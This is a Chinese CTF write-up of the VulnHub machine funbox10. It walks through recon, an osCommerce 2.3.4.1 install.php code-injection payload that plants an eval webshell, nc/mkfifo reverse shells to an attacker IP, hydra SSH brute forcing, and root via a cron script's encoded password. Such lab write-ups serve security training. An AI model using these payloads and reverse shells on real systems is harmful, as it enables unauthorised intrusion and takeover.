VulnHub:funbox10

avatar
作者
筋斗云
阅读量:0

Funbox: Under Construction靶机下载地址

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标机ip:192.168.31.197

端口扫描

扫描目标机开放端口。

nmap 192.168.31.197 -A -p- -T4

目标机开放端口有:22,25,80,110,143。

目录扫描

访问80端口的http服务,没什么线索。

进一步信息收集,目录扫描。

dirsearch -u http://192.168.31.197

访问/catalog,整个页面最重要的信息是:osCommerce v2.3.4.1

漏洞利用

osCommerce是一套国际著名的开源免费的电子商务系统,运行于PHP+MySQL服务器环境。而该站点使用的osCommerce v2.3.4.1版本存在远程代码执行漏洞。

payload: http://192.168.31.197/catalog/install/install.php?step=4 post:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');@eval($_POST['cmd']);/*

使用蚁剑连接(http://192.168.31.197/catalog/install/includes/configure.php)。成功getshell。

在configure.php.bak中找到数据库用户名及密码。

用户名:jack

密码:yellow

接下来蚁剑能进行的操作就很少了,需要想办法反弹shell到攻击机中。测试多种反弹方式,只有下面两种可行。(第二种反弹方式会出现su: must be run from a terminal问题,解决方法后面展示)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.218 7777 >/tmp/f # or  rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f

成功反弹。

也可以通过searchsploit搜索漏洞exp。searchsploit osCommerce选择适合的exp。

这里我使用的是第二个exp。

searchsploit -m 50128.py python3 50128.py http://192.168.31.197/catalog

成功,然后反弹shell(上面两种二选一)。原理都是一样的,使用现成的exp更方便。

切换到家目录,发现存在四个用户,当前权限过低(www-data)无法访问相关目录。

尝试远程登录ssh服务。在前面得到了jack的密码,使用jack用户远程登录ssh发现密码错误(这里不太明白设置jack用户的意义)。密码错误,用hydra爆破jack用户密码,没成功。其余三个用户也分别用hydra爆破一下。

hydra -l username -P /usr/share/wordlists/nmap.lst ssh://192.168.31.197

最终只有susan用户,爆破得到密码shadow。

susan远程登录ssh服务器,user.txt内容如下。

提权

尝试常见几种提权方式无果后,上传pspy64(pspy可以在没有root权限的情况实时监控linux进程和其他用户的计划任务)到目标机。pspy64下载地址

# 攻击机在pspy64目录下开启http服务 python3 -m http.server 8989 # 目标机下载 wget http://192.168.31.218:8989/pspy64 chmod 777 pspy64 ./pspy64

根据运行结果,发现一个计划任务,每分钟都会执行,可以向这个cron.sh写入反弹shell。

看一下cron.sh代码内容:

cat /usr/share/doc/examples/cron.sh

base64解码工具解一下,发现这里直接告诉了我们root用户的密码,并不需要写入反弹shell的方式来提权。

用户名:root

密码:rfvbgt!!

切换到root用户。su root,提示su: must be run from a terminal,提示需要在终端中执行,很疑惑我这不是在交互式shell里吗?

多次测试发现由于我使用的是rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f这种反弹方式(即上面的第二种)才会出现这种情况,百度得知解决方法:用python调用本地的shell

python -c 'import pty;pty.spawn("/bin/bash")'

成功切换至root权限。

get flag🎆

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!